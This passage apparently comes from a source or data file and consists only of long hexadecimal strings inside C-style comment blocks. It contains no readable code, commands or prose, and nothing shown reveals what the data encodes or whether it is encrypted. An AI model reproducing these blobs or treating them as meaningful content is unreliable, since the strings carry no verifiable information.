85cd9c2449b8c6a72afa62a972c5eeabdfa40518e257aa4d229f1c1248870c45e622cafd2e3e43eea57b59fb128fd12e436eb87b229ce2c6a1bfbc5193cb87b288180334a926d0124b2ad996b111695b1b9ef45a04501e54c4b6ab5807a6dde5063931972a480dd0d944ae27d0f72704e4f5fc91fca76300279b79c9e7dcf51908122638c49b43a5794cd1af60d8420db947eb2a8ddfa5288ac60a236293446d52f433dccf8f7e85f0f2edaf1933c5e08290526aef461eaff4980a4e508905c9be617698504be95b0e0ddb52400bb4ed1d6aeecb9371e31571f3a5a2612aa8dd5fd49f7cc23c4931e1014d65e7d6a48ecb1dfef0688a29a9f7b20d8548187cfdcf9d6f55beca92d5fbe9e071dde1bcb442f04625b81b90dde07e3fbfbb9cf618b09a2463c6537f3a3288ba77b0ba9f1353733a6ca45696e7449e51e233e5aff547cf7db1d2f5fc45a1f729c58d64c6d6229a73474cf9c84c813c1dbf3d92467721d391bab500b27261636b01630d9d32c6177fcd55565f67517ed05c5f5294062f50902d6dc90e77bbf95c64d9defcf90157631b67bc4e0c8c4ace7f07866b4dd810242bf5072d681e342d7dd5c0bfefcaef42aa2b51a5a74ad60d6115f8f64b16c480fdbc95a81f78d5c4dcb8561debdddf845f9ff57f3d6945da69fb283f45a9c6391798659c3eb950f7e91ea491923612375401c503486c26380fa4ba0abaaaff61c824a294f26222ebf852123fbaaf9e163447460c9bcd894992fb86ffeef27f8a4902de2c4b33d1f9a903be0fc91fffd63462cf016954e7a0be974d4232137bdf5def78fa256bb21c10ddfd48f38b19040100fc11b17176c91d1b472fc3127bfa7ffaf87b390b515c50ef498414d68d1335ac57033d539ca56462b3a14977bd5fe709e5b83cbb974f32cdf2531a4f59982a47bba763dd7303aab0403281ede4792376bf0e367f5e589e92c9229a57d808821f3202e98cc9dd9ec98e0f131eab0ce54636e8abd7cab04c288dbe1136b59edaba0856c3c00007ba9cdccf772d5f45782a1f709e5dcce313b9d3b9e7b33723bb261434041da92472b27f3c681486460475a313d40ac37d0810cebe36e873958ff2396369365d39e6d12910963beae1c04e9be9c1fe4c1451489cb8e00dd0380aef0148029f934a6f2a85464a0ad85ddcbf0c575b42abaacee0d7df70ce8f720df2faa787845c38d242e86f408e5401b1e8ccaa52e519a5970eb118baf1e84a48e6539b2301f4ad440cba4f8c994bbe9c8dfeca64294fd6917c8e51e2f0b5be8b5b58dcdb72a42e1eaa3004a9899cb78792b8eafa79a22360ffa4e547f6114f8d90be1eb835d02e2cc5edb5cc6fa955e94f40b78b21cf22b0fce306881d72dac34a7cc55433af6b53da7f6b179bcb345b51a7d4c37ed454375caea41e208d58b80e468c167584b09a842f11bcc2a37dc140521355c7363012670fc98a17533c33fc107d68211055f019bcfab7cc5e6539386c1fef95da1ab2bcd55b0bad001*/
/*c7b4cd296cd83888b0f28b03767c305ce2c10c3a80f11f5f77c5f9394bc6bf244bd417549974670ee6b7609f3288b3da50893501ebc2785d01f12120365813d055b521b012884156f7c9d986abf79ffdf0fd628a59ff4d51d384299865c17f98756214276cdf851effe75770358c2bd4016e7d61c2680f5945ac31eab27c5baffbf71c1525431e5f7749a7eb402484583be76776302aff445d99a8d325cc2ca289d4498a879e5823bb5da08acab18dea8e27c259b7edf9223cf929d5c3a44b3cbea1374e0d224801d800de1bf04894b97d726aad60d8b3074c1f2c841f2c2a603e726b1fd4e8ce0c5ecd9b61fbe47927197dfe9b817a27bdf9415ee4fc19d3b604d50edd54174ca29470ae02842ab4fa658d8dd8c8a28095716cb84caaf6997a869f01e7d2edefc49921c56062933dc94cfaad902b931ea644a6b807104dab2cf49684e9e3843c157862612575e4443b7da780cc7c222bdda82c9ddaaa7917ba64ad8ae941858b420066ad49fa0ffb21fde87af63c351a722bd13af560db06fa5999beae10f8680c8275e98abc2d6c0dd2daccb7b55e979bd7dace459c9ec5f28fed810ee05afbe3a3d17cda1de9e469fa5c6137c179eefc3bff84ca8718678c4ea7bc9e15736df698174920c316e6a348747b85c147e282b7089b4561bbbc0b26add27481c5fe2aa0b6de2a031166c7a85b53e4daace5c44ae909fde0e1340e1741a5ac9e32f8226cf0fd69f5c3b59eb0f5b5f46728379a20687fce4dbc61d15f72f99e16ca1feeacc93eb9239a4af33648460f1ac07c4f14f6646ef6e937038827107c9fa28bf0fa3015773a2888fcf93a55b34e370abdae1607b7407441d508197a7301975c87bd3debae79e3969bdbcb522823170cf6555d142eb6210e8e1e4474f29beb36aa24a4b982ccc02c9a7234abd7002e3c503d5744fd846226b8798b52afcaac2378b057d0b9b727e68f08c6851a1b6af43eeae20e29501394439cb15768664919abcb321c860a869c62a65764d4d8092c3a0853b72e3bb824da5e09df25036caee9edf5c1de64ade20df149df9d64b4647f2586b09f06018ac4d03f8a87e43f81c1e991a125069d0409322d2531011c5b1f44d401966b57459033fe985bff10eb770557b0ca1b3cb337b17164cc5145ca140829fbdc81353034d36d32269156202cbc69639a858a9fc4da0b829a8c3c21725d6984b99af51a2b20aa83f0188977fdfaa23e7a54ccbfda1671f61891ad4c282405d8a1fb6d709416e996d43abb46d92d63f51d37a4131c17c7dbcea01dab4a57c2c27a13290cc4f8ecad523021dcb85b5ff7276d8d200a94aad0ca0f2a98e63496338334c80cd149412591711cc6abfb57d5e6d46bc3378adc18f341c95afaa707f08a0cb6d18b7ef6f1c99cc3106564495fb764b03306ee3f1eeb07f3d2b58e8c4be58d3675cd009822fd6459421c3614a03f22aa3f6bf659d2e1991346da17fc6d38a4c5211bd54e6cb89585bef3a0ba8d3cbb1f7efb2957968d2eb84f2f92798ab2927b89348ab5f2867bf56738cd963e93de91ca29ea61c7b94fb1c43d12cdfec932db5eefd2f76c30231ba587c247e4171b0ac9b13717349ece84428485fa20a69cac4f1da522849bde342c9c728bc7c1f0e5ea5c4007562c270b6e623e2fae224da276bdeecc7974853c254aba198f11ca7351911176116e89d26296a2f3c1763324956250ee2749b01945016be800fd2db1be041496422ffd1b783c6991cba939506edf4a70b8e9a63801d5d712dc244a2a522879c4666bfcae2f5c80fb1bcc0e7608cb2b119b527d69a0b34e5fd5ea6fa18438fe15f796af5bcb3c36463211a8449410d397da0e1f0abe35fedb10ecee854382254e67c37fe2a5fc3604bc89af0ad6d0967cde47ce7bb5f6dafe0728f55d8ed54016486a7a9f118c5fe6e077e6afaf32b3c4d19b33489e2024f36c2025185231e55d6c2bf2b05c2de7b9df70c90d05b474beeeeeb3fbf36ba87ba7dd6c5c3f4c48b70a6b20946d38b779a49339f63bbba63a2b6174fa02a2ce05fccdfc530a5007a6d7e750d661ed7a7182c2044323d03f0861e10e5f718deb319c66806229c9d38533f946463f5801ce8e93e1cacc90a69e03cd8c8e5cab42fd547eb58655af79e1d808464be0af07005b83c9d98ae550d8ae5b203afa8206e28747c179543ce5b61c9d3a6116977cc95d3397afffcd3853ef662f5bd9eed77e9e0a112ca16f347607bc1e475437edb99a9b48c24bcc95ce25782c639c34bab62943f6907cc7a5d648845bb44fc0eb4f16c7c50a0e2849a352809a42aa4237d9ab69552d61a31967af39e00c52f9575ab33c86f1ca0f0a370587dea0c0dfc620d05bec708336f6c9662a975f87d29dda3ca54614dc11b2a4ea37781339df3c6b3cf55d876e35d087499c9f902e7779b95e738d69e2d964815aee10811bb6e704d67a43ef2608f993639ed024b7666659fbdff2ce5dff9dfabf58d5e0d15ccab4b906df195a25b0fc043b414c0fc9ccee19912fa6eb8e250c00047199d306f70c061d3559af1cd74c348ff614fbe770f2eb43a37fca83836857ccb3e5ba075e97f77667e51cd70affc8cb538e6b63ff8e3e363adfe00c56de4c3fa83214cf7a3e82f7842ac37e9ce0e03c044807f433416296c7892027b9bf52f720e46c3089baac0a35bdaf9a35ff668e23623128977f08b61a443e059ae4c35a8207be55ebe27f202796aea6232fdc887987dd017710e4ce58a9ef9e11b857500a69657a5e5b1d027f3623c717c8e09bd664c01518530eee882e57e7240c867ca410b7fc606b1ce4bbb93a6b*/
/*9839ff98606084bd27b4d62fecdd8f88be81dd07240db116649e5481efe2d938015a79025fc7e04eeeda4a156f43699905af3f7e0186a07646f939f6c4b3b57d489c50dc08aaa8405f52502c9dae847dd3e3e19cf6cff3f35025107715074545061eac0c797a2106d561118a2d1cbb07af4b4ce4a45105ec9eaf889ff74663322c8974220d0b650c8bd4aff330dd5c989050ad8bd6939f92f38f8bfa16a87baee2685c06518f314fea56139f0a21cfd92ab2a63002951f4fa42a6d565729eae2743587f3f1efdd7b921f6f6e53754b431054117ee084b4f04e451ebadf6d5551558bac50c0ba77f511eedd63a9f108024823a14511b6285819d60f77a202cf9d5753cc0f629b3a715aa56df9aa85ca4c249306d4d698a3e08c7915aece2ba1c2783c172fd358903a2a1f2c5d7d6295d33238c91dd8a35fec0f20e9a8f7394fa31e18523d32afd59aea000e385bab98413bd550c00e6cf9b156022161619cf7a3f0abb5a3b69c338bcc20cd3146d8d115c2f39fa10a0610ab282d2e5d59144f6487927556f98cf23939c638d7c2cc1bfa1cda2f9d72f474b59ebfe99559c898fa7d1e561cac3094eaf0b5f4499c2a33b9b1927b47ee8e4a952473f7bcd9f260c91d98f093a0687a5be71db0cb131e14d4e595e10aacd8fe4838410df4df0dd4579ef8a8abae0d7ac365493b93d13ba8be1ac48de80dcf9fcfb9cdabe1ed21f611dd457c16f9fb48deeeeacc74ac0c9b570b3d6c3fa9deae5453ea0a23f27a36e41449425e99ba21289abe54e66dee4198e05e575bcfd2a160d23c58046a09f91ae57d8266e45140ecd9153cf84fa806b7dfcdb6e7f3195e8c8617f824ad8bd5b1c2953c2d0427600cd607580ee9a9990d13075b388794206fb27a1820010587cae8e0b51257de5d19c180aa0792490c8086dbac068b0d1612152ead7115bd8e8385f1d53cf60a5de7385e01ce872ac283d3596438ba66545f42446c3f3baf84fac691d75e686465d0a629d185467882e5fe0a40f3315134df1dccfee3b67cdbb3dacd405c8386fb6bb3bdf86468e7fb745dc7251e1501f458c4c320972e95495ebbce4be6c5f96387a0ede242a58536f1cdd53064ae3e282d947c2e3a580ef430890bc0d45cc3216fe15e7e8d21cc112f07a2c7f9b2ad7c72df032c4b4098c16ee95f5ff16cc76917f477c2880087c80a0683e21d2139c486cfbc6a899b6ab938a4977974554c90262028b4e1f3c14d1e2eac0d6adde394c37723ddb36770f60b5a1a96334c9805824444535e90226039d2d7e9b0365f9ed2ce7ac83a5a1bf320cad90695d860bd51d765c12efa516877d46b6d98146b8e4999bf7371d0f3949fc677e1fa6a01b8f861c32e8e4edcb34e341b45f821346501b53628a31f3ce9e58a4e4232d495f1988db4951f2ce576f30aa25b800a152828ecea853e93f576144771f2e69ab42cf76eb58924539e8c258e1f10fd7af68340f5a7cb9033a40d1f6b0706f2dfbd9931d23fe2ef3c00411a8aaf7deb3d363874dd639c385b5447dd77ba70d0f931539e8b79e8a2f2f6949dddc0cbeb58331bc638c1e46e10e6e87f6689c6526ade473231406ac38559b1ccd534d181f14254546b5f25e1a71ee4b39ea9a53177797ba4de0fed41fde4182a2236e4cb8c3f38e36f592826f93ae8d2fd2afcaf72a326cd3b74e13fd682fc7a54afed95ff51ef682ab713074ee546086d2a06efea96817f89114760d595f6fe11c3a45ba421fef5dc99ba3a275da61c7521ef4992bb933be75275a1921654a013792d6de552eeb551895608ace029d0de7f28d7e2851002d603c43b4dd430c2caf2f9a0115efde83e327913c63d04bce2898cfc71bfb6bb8b202147073bf9f81fb15e511caeec4c95b14b70d0890ef0a8d111590cbca0fed59035f583d01bdc1af6aff2022ebdcaaf69ee20b366365c7fbf7d4559cea02186bc46b066a9a87d4ef1c284baf53477f8f57496f6b2be6f67a1bd1c69dd5b694b5ccd198e5c0b622ae3e6cc44428c8961eccafd0fec2a1afcbb81ec40fd8467241a93a45cfcbfe544c5e48eda6f0c1a68776cbe7675f871616f9b37fd5643fbc3be2addc5f799810099c988364c05612f5a5b9839445f6b6e141f5eaa508db43c95ffc3ecf0a809c51ecbf9a22c4d1aa3dc0f41c496fe868d06295cc0ee83067f866c99714e8488dee3be8f17af1fcb7a2f7fcb456c2d17ae3e95b517b54eeab1fa2392dffdefb206cb877988e4e4aa21e07005ab6372be1bc94ba96a818033e5508a3d16b883f67995014d8e52543a2a2f22fbfb540f8af8ad47bfd6ab4e6cb8df2840f3c3ea5085b00f97dc8068d20d1b3ce768ef8bd6bef4ea480539a26994e2dd7a6fb5f19f980a85ad31da16fdfeb0999a79bb9b750f13f2cfe1111f0259522c26caba300124bc7c5ad450c0aff6635a5d58b637e447b2bc216616c8fa7243f5f9a5998083ace627faeca6ccb6b4f529ae3826585491c9d2100d8cad33b595adedd630f4a07cc1ad35fe22cc1282cdb97ce90c9c3d4935980d88811f4a7c188ec4d60405f348c035e94c649bd880a15ecec92eb6f7ed0edf5155d780c5ed17f6e4607f056472fb923c7f094d4fe73de31628ad53231db492e2979d89310f6f6cf940218b5706db5002728de77f648aba5d93b87366c94a627c39ba6ab9905b07cda08bdd162d6f628b2b33c6baf1f45dca3d7a274d4468416449ba1e8f12bb3811b50a6e2ffb47f84ec62b359bacfd1198b44c532f8aad7cb4c4352faf426fa40090e63882cbf77bd4742f7733f3a54bf73dc6902d0587eeaaed24b37ed5e0e50ea7c8bcdb*/
/*0fb60d919215069ccb6a3aa3d9ff5739cf4cde52d4a0b071834a163a8116a0de4d2446e6631cf2947650602b1471481aea2f4955bd99aafd5bc49217511aff893038801bd0398897419796ec81148b8f201d676008e8670d7d2907d5acd9856c50854f8442f8f973a9f63bb80e8472bda229c549b7f0db01a2407dd3c2f22580a6f5b0a24951f89c6e097c8d07205745ed15a4f0e3ca59d57d3963d8ec5f7dd65442ccd67490c8938740dec37a3757792af648078017f6f8b6f7b3103633c8df90f90f76396c80f5ce08c5ddd309d4b1cadb188b3e13b43675efb19e258007cbf1b0f51a4ef9bcc2738624dfff1be2b2e29de6c5d1ae13b2f1adc9baf6978a9f150979d6345358d60c3791692f888aa4a68f2968d5090def2e223be221515560d51c33e97ec7b4bf25cc359f6fc34593cee84304449345be1dec33b92b9cb013ec51fb0c7938937bb2a22be60e7dc7fd6cdc34b034084ab36f5e643241b31250fa07ebe870eaf4e0d78d005616bae31a11251498900d65f15d5cfa37a3cbf45460e7fdb0da5ee25019101d216faf6c41b488b973f6e6b27f7d3a7053c7ead7cfa0ced7ec74def9e6eb6b5028509ef3767993c7964a6d4da0dbe00d6d95a78f3e42949d6f0aec42680f0c64f0b489ca805f3dc9675ac25b700d87f9c5a67af7e71b3d1b85e0e2b40ed9f9cff4638ae8d56e46968dc1369739e564112e90903795f1caf1b0d8d18eed97067049d954b511ebe947f901ce860333ed24f7ab3278975444cc10d0c603da82c2b9c3059e78e9969915b62a782d1e91c9c048df730f089974495d1d252875fb9de0d3d77fd803037986fb56c2a84e6c4e408a6423f6fc37553194aa5cd1cf167ff9b9788331ec083c58ccb678f932c80535fca11582b7990715247ad750888a26219d56b2f14466375f128b139d7c1c12756ed870580bd92a73ef839fc56aedefb281c51da25545385c1faec31ae18d5393d5f2b84e0463a1081b47ae7924b3d1e16a124dbbf7fd5abe98c1080e611768792d4be8b48802b43c34b0835954dc1d177c5c26544213fbefc7ca3eefe5852f2014362098aeaee81d03700fdaec401fe45454cef0f33aaaa4cad751a97e71d67bb028f9cb249e47a517c024b5ac0ace3a46a243f85661c1f33d0fc27a1bcfccce3f0d04053692ad62291655bede14512aab702074f12a3282841028367374a375d1c4d38bfb6f591f44b057b39568dc395ae7f31e87b872718ac15c1f46286026356ac26536bbee881a92d701a6639ad415f7f245b3d157ae2bd0c5e74802158e5177eab5226fe216d0dd26689f2a36d88ab501953c4b50caa3f4bc8da0ae45a01fb55370815aa9ff153233db8a961d72427e44f271cf66855810ced7bf65766172043d8aa070ad57e6ffedfffefd4317bb024052f6db66022a5dc4288206593a09ac09228a3bac132bc97b523669b2181d83d00a9f304183f039f5bc14b74e3e0c3cbd08381ab49ec78a85f19bec72265dcbd566044e106985d187f328619693ba4da0a8055a018b1a3dc13ecefd8f6546c51790e9f1fd4d5f7a4f21596363d0499c3ee27149e9142864807418758818441d6de95e79c191651094d1f7b45a9c52463b63e14329b927b51892836bf03993944639571044c6fb4d083947e45703956aeaa9dcec83c591c0e4c30a83746da22a6279d845ef6b2ba67153eef5e704e8d20b01b1b24f164e5c466362c30d7b70181c3cfc2a23c64ee000134b32642b1370ad2645811483faf33320713b5cb24d90a2a1f7ce64720c5d972139a0ba3565e181bada2612703c7c48e49bf58aef4f23d578097a88fc1a706c7528f56f05c8b9d83aec303722d1f3490c0b051ad64d9523615de4ce33526a0053312807d26fcb08f9d373cbce6f7c296ba17855c644b2f7f75a5039fce15738d9e351177bf36cceb42fadcf15fb296b1a9e28562c50a735f725e2c83f2339db569310052cd478d29fe5fcc48c83727f0edbc97aa6062808c1400e82dcda1c471d694dc13dbe4a62d4cdf4fb2881f300ffcd5b42c03d2fb8415c5b981eb3ab1bbf04c471b73b3542ec85132dc506ef1504057eacf452f1ce71ecb1e999c18a8e42e9b5652646ac37d4be95b3f9355a2df1bd7a76ea71ec3e836c224d5c839bd31fc4ece3328107cb4971f5799e749ddfbc07f38cdaa6374ae764ea6f051ca6f39aaf07fd1578edeb83f029c5b4e30d1b95e9ff69fa01454b2707b077ad5a425f61b1d69e6e77a86a667cbb0b573f50cb2dcf502600db0465198e0bef1d8972a5777b22f9bafaf4b59a19842b5715e8dc584c43f072e8454814d91a7a2a9c44647cf835c58326301657b9d8df6392c9b4bd8f5f6d5226f2ba1e68bcc288f20735d05cee1bdd6eeec0ee713f47f16413d5f899f484c31fedcc5fb15a44fafe59eb86eb8a1779ce394e93ffaf2774e9c21155f042007c8e143cc8108f4b24e70133e2489656fb2d3d88a1c05bee2e2a1ddda6c1195c41f47a777f4ec1da08fa4e522259723b5a7cbc33e269d7c130ac239bff76c86fb8e36b3687694480fea3706f6a742466b45dadd924a6beec18c40471b0bcac1ee3d35bf48977f4968e5ab47781e8d9e7df6700ad9aa63587fd05b14deb4683391794cfdfeb84a4e363a142cc98c0d9df7d2e68ed2acdc86968672c71dec4edf96c06a51817d8388ca4cc5ff2ac81be6f13c39494b03fcef5bb4bf929972032e1eb9804d6a57f7fec3a17df74bf8c44f20271ffe72f79cfb8ff3080f4564708a7798b288e748133bb255c1b384a8d986a21914319afd3a7ba4efa0967decea27993e7029d1203*/
/*1a81ef559217dd77c4d18978ff0bfde4af566ca0919f10d9152e413a052ad89b082e9a9a6815a03d105c16dac34eb82209d2334717067aed087ae0036babec6a93e4c271769a18fda21b1acdd76f935be72c0938fb2424c206f7cceca7575e5d60712a7d95cec97401770d6d55467fef6a46f60d9f90b10cb7f978a8aae7973b8c15854bb24be1d0e5475c4173de0796484c4fcc3609fd344896f4deb083c594c1542918dfb320d1df5fe396f309d1c4dcbd339bc9ae50edf3923f9976e4a15b8cd894b2aac215b1acca56e6bbcc72987bd579cc896e006a287f278314118f0d35e73d34724a2a17f17230269056f4f115ccde09916503f6fa9278757dbc6725080153046ef7b5072d74fbaa4ad98a5cc9ac11e1c666f428db3fabf45b429c764d0d355acef2ed637148b2a00c8c9c1a2f4cdf2a51b4d41428955b4d8d5b7f67e97d9d3963996f4caad4af0a1cea88d5c919c3a2b72b86125ed2a98590c1b821eba6fd07f3eba8ee19686f318b1130e8c76614d18b9723164e07628ec2f410d29e1a2ccbcaa49dfd34e504340fab5c8f92a4fb2c65444862b47da91f47f98ec523f053ce759583b5c7c15ed8546c4753441be939ebe1da179ebf4aa4cf4e1532b43aaab9eba2d65a86ced59e6d5e409306b502f3b038100eb9cb37cdaae04fe4f59c186a57b66879aebc014efffa9a5fba67bb03b2f1381822bf577496bb0b8d9deea9d2b9b3f2715a46cfbc98e2e3edd57d687e3fbaca2982b12f6f4c9ca3cc789e30ffad6e409838b289cfdc183bc45a9394aaadd72f82bd150dd37bdfdc6c93f74b57616a9be06bff3f6b76b9f408ff9793e807e276e8e16129290c91ebf694178e1fe03a9db89346e645b9b8543c3a225663fbbe17d837855dca5428a9f847588d7d86addee22525f83608f803b30aa407ffd5befbeaa92f1bd212609dbb511994418e9ec4c6e964ffdefb97ee4ad8645818e4ba5ca87960b1680ff97d28eb199353ab6d90d8688b84e498c9586003f5fcf022252ae8c71d78c9cba03226ebc044b00aef20ee3e9ea29c05515105a1a0cf47056f119637d6d66d617d4fd82b0ddacebb290bd85b749958499c118600ae8fa6a9fba5bb93079171cdd8d1c9e897fb725a11d5e154114c6117fb96e2989cc53a0e2a0e6107fca7360c3e21339b69143ba4f8f56a16ed04c7dc0055b7663a92817e60303e80690704a6b13549fc83dc5569545a6d410d991f27045325c9e39e68bff85598571975629498c298653a71857dea866c74ad32c181d8cae5bd30b4bab5d48e72d06b3319a610d0b82bb2bb28fd5005aeab3d796b9e8be95b7424d34f1c951887a5a2e01379b9978c40564dee9179e422b20211668c035a4f6dd0820c3f3d5d81e58b172e03815ed4368e8a87a58f70e21f86f8f01b4f86b25c4642abdc75e6588c072eb21e57486fced9cdbbd2ea7bff30e194d3a0889df626c9b112721d078ef9c32add58c8dca4e238ef00f5201c75e04819f524911b6a63d74d4f6df66138747f2dd70c8ff3165ec2fc6b61d35242b249e63cd4f7b1e3e9b8aac0454030909d2337454a4d3a205b8f95b72e32c53e5cd5f43a776b39076466df460671ce5c1e01f97988d9508ff9a98398c6285c41ff5bead48b100c149882101712f9b1a51f61758f510c538f87ca389b401ecbfdea9f8c570a7bcd8d16e95fce12a9101a3c533759000d2f4540ee591e919e8407c40ef7ed73fb1f41635314731fe4fe8c55fca67fd7a06a25b47fb2a932bde30e21838bb488138ebb78904e396c690353e5e37a0d5c4a879745b578c5363c783651e4d72f194a79f01135fe0b478509a21755b33c9ad0e65dc71d9976257552c15159672fd45e5a9e4ce527398ee6c751d8c88b258531c756f329b722426f13ebd9371c09db909148cd21fdb1e2bd522a69c3f8de35147a701bfa87e8138944198c238ff98508bd7b85024f3dd0802c2011a44cc063aa5623ff5fb0ebf24403a81d11cb9e70adad93e8e3bbc5e9619b451f8a19898a4a27deb11bc01162c371d7ef2ecdcfdc9b8d7ee692f2b778209f22bc31bdbed602fda21b2fe139eb679ace089c08d078e62b0d9675cdd43fd430cbb64920ba976cc6d0cba8cf6fd29ae80bcc9f31f53fb213390b6399d8879a0e1a767f47195f6c845070ea0cdd0a05eb910fd18969c26a2e203c3114d5c4a7a4281ba0c30cb4bb43d6be2fde8b03e6adc8e23e6d84dc742a203c3d9a22f02932214c49a2dfa6344dfec3ea030a5b1fbfaba083e810c5eceb427d50a0044ae54068ae287601203267dcee7840f1740c6f07a7fdd0dfe2de2e9b3dc29d3526584f5f971d8eb6f6fe0cb64285893519677790d318ca48be923f37d05315b5c177f928d43ec2d93406928c6f17a1d7fa205de412852ebe233061d1fd1159f6e40e76c7487fa84a7d175101d808b98834a21ee7a546e56fc5249f7fa45625c37ba4bdbcab6aaca8c81c0a1935c09f467ad7ff036c77f86097763447f57f67cc94fd9019446fb42c79200768085ee635aa0766d1a6716e64c19f5e05a0478d9ffe60923aa4ede55ded1eed7fd63da618dc97c36b051af87c41ca6f26cb0cf5b66b03b16afe7db7c9983ef043f7659ed5405517555ea862b9c88578d569ef65fc253c843d4e5a3af1cb1d27091144b28efa75d338edc3f81e68d2ce8ca7075e56182bb4bd76383dc15ae24be2441b0dd0d9308eec43fadecbc304da5f1d63d7b5bc150daca58df8a6036c5bf13ac6ae155c8970c5e294706f6823db2e7c8de9db8527010fcf4256248b2e064bad905da591f2e4f6e0d1a6ead2a0a620*/
/*b39b8c40d3f9d71f01c16c31c0fa7e4109ab9641d647187e8fbf9e146529f86d2b059a0a95859c13f3b4c2b941808e4c27efab30cf2faaf9b6facc65155dadd814b5e45f17a2aae28ff47df8c5e91eb0e6220547c80a5a7534228c86397cabc8280cd48fe886fd2175a134e69c0c34f8640d016a457fcb3d4956092dada1136591ac558a5e85ef624340ae72a577f17b5498e0f6685e96d2f170c4a4293f7658dbf0ba78753b5a6f07028259feb1e0f67fb71039531bde1a0e2b85b361d651aa9431f8dce4be0365217fe62161fae950d91f82473d65674190a21aa84d47278ebdd1c48f70cd9e6a7083f3badf53828febcaa2fe1383d81132f217fa9cca42ac56f745696d1717ed76b6b85350360c51bf9954fe8d4885c8ebb8617309bf3b00970989cd5fe1bd74a596cc1d1d9958a044c2452ecc39f5534392bdfeb1b0f4bf5d9e0d2a461be9987adb26196b3e76a15b833fd7b4665265240805fe17c0daddbcaedba3e630d9e722a38e1ecb26d776698572f820a0fad0f586f99cedd15889ff855461f224200c29c2c68f60e7b924fefbd77eea5b97520bb8ed8b7598d08868f530c6d500ee2e2199949fb2e846c2ee5fe5b6c720600e9d4dedac9717dfdf8c7c0013b9572f607e8431f14de971e9bee9541cf2a2c22e26698f87692c931e0f7fd6e494bdd9a8c6129a4f0137cc69a939a703b1975ad6bc43088a6c522d915de1454c55674585c990eace3bb7111b3865e2deec15e656e088bcb47fbac58d1e188946c6b6a4429846fb88a4cdfbc737169fd81862f14eda87ba09224d13a708d3e48ee5573719a99f4f039e43da03393ddf48bb9912147bd969dbd1b0f2c9e4a62906c4ecbaba752196e849122bd812606a3d97a8c100cf40104b6ac50588b1721d49d32a3f1c8529a8e9dbbb8a3121303abb97e6f5e9ca8aef43201cfc0d67632403f0b6e29fe575214b7ddd62f65584abaad3bdaa77f570a7017f4bd985adedde276a42b7df5013b667164468f79f1fef3fb903aa3b168f8ad05ca7e0d9f11f33fa9d103a15e19a88b44a39a4e5e7b79915a0124d7ea7c6d6efc251d0ed05741bb84189ca630879de8dac0579d10ffd9f0f3ae9312b1f94508e51a069e8501c11a0515820e0239aadc10a63af19bddeaf0295c955dc6bf6736528e48f9b84509d2c4d83cab0552deea3d3cd02595b19e042387fe82c96d29385f18279a44e281871f5dc7f4b5c4908a606c7ab33f5752a8b84275dba64a5c2db1e21b6b7211b556d1721adbb4149df790b8e4f44a01ad7d6d4df61327b1863b159190cb5660b04a9b0b93122ab3726fae0f97cf7ff885cd0acac048ebe28aed4445fe0cb835d7c84780a11e23f5e7398d60275fe4e78942120169ec19fb2be8f30c847e1d37179295d12d1f804fac608734e72029fed7e908e4efbc9eda43e8869378dc1d004e7db53f4e8a29dcda4b77ffde444be49227f1df3d14ea228fd4cebffde010f03ae6d528df324fc61f9875a7edc5f7c37f0ea71cdb8c03dee959be766ee2a16740279467006ad3d5b9b76a743847c4a4e9b7248d0967698ca621fd2fd8b10365801a492dd1f89c16c6f5e99ced9c1f2f0d2bbc3c342a910b426b11850a5879c66f4be3a7abe3c6e7d1299ff23530d3c63711a2c5dd5a5f62752c89428c63581e1dc9ee7f1a65eb52b57dfc21f4b6640891976792498440a3673638f98aa70077ddcaf6d72ed6dc52a0dbdb5821009f6280ac0ea755a6343e8bb0c2883e1712a2e663f8bdd9f135abe2c4991cb754a541cf91a5092a5401d1aa2bd40ee0d484f33d6b994ed3572e0dfef78d280b5bf0c3b52e58957ae36ebb4a13197a378925227dc5b2a6e2cd15d1b39046a446aaba1dce65c84efda6e76ef27d95915d2799f5200d91deca483b3d9f3c8aafb9b0e9f823cec9e18d64fc3b8a07117674e40de53c193ee5b217870e18f3778f2e557043832045359fb585842f20009a80028cfe1f4b92e731aada4027817d859d10ca38aae15b5b6cbb70c6d2db7a23f11e54cfb18d58f4c38664b7c4d9adc36b1576f40f816251aeea92804daff62e845d58e431651142f3f69899e3b185ed5b510121d077fb4bbf9076181dd9b9bd6d4b8e4564a94374d546aa8c09fdd097c8858fdfe66e4014c5519165693c6e27cd67c50443efdbe1dd00fe02c51dd6069c96960ec72b52cf4b08526906168b518c41b327e6deab963cee7ef6fccbfd7bac566b2e5280eeae6dc7b230c77cbfd117eb4e07c949b0cadc19b2f6f03a32517e49e3ca639ef111c025995a42a700cb92dd8cb2c643357e2a9119bbb8fb9ec6167b9c2c24802d78d209a1918912c8cba74ef919701c2e2352e25d22dbad6427c52957d28961d3cc148ba12891c1b33d7d6e1550d2734330015b1bc6d23980186ab49edddd821bf676df3a0e329140130d00ac8594f590f30ec7238d4a17fdde25e100e40b14e1ad6b5822bafa345c01d0d48be49b069c66556ebc5c8a981bc2d84e39d7258d22b91332fa68f6da608172d66d5533b5829ae25e7ebf1f3182f8a09c5542fbc1f780cd6cd878ef9619c34e1d734f84025b41f740d8bf2bebb4d513dd3ddd822c4d234392f7daa906b6458f2045018188bd351f40607279be992223f04a462fc56975e3cc7ae8c37c76efdec0d0069501455e34f0aebcce8375ba58e3e2b2630732ac08b26c7f14330ac289f741e6b6af2344d77c875fd31d8290d5c425fbacfa9bd32e60d515484a3248c69653341a8234ebcbe2c8c008cda90a000e2f6d2edf27cff517fe58f09269083d852c6c8c50fb37b71fbb478535dc533b513*/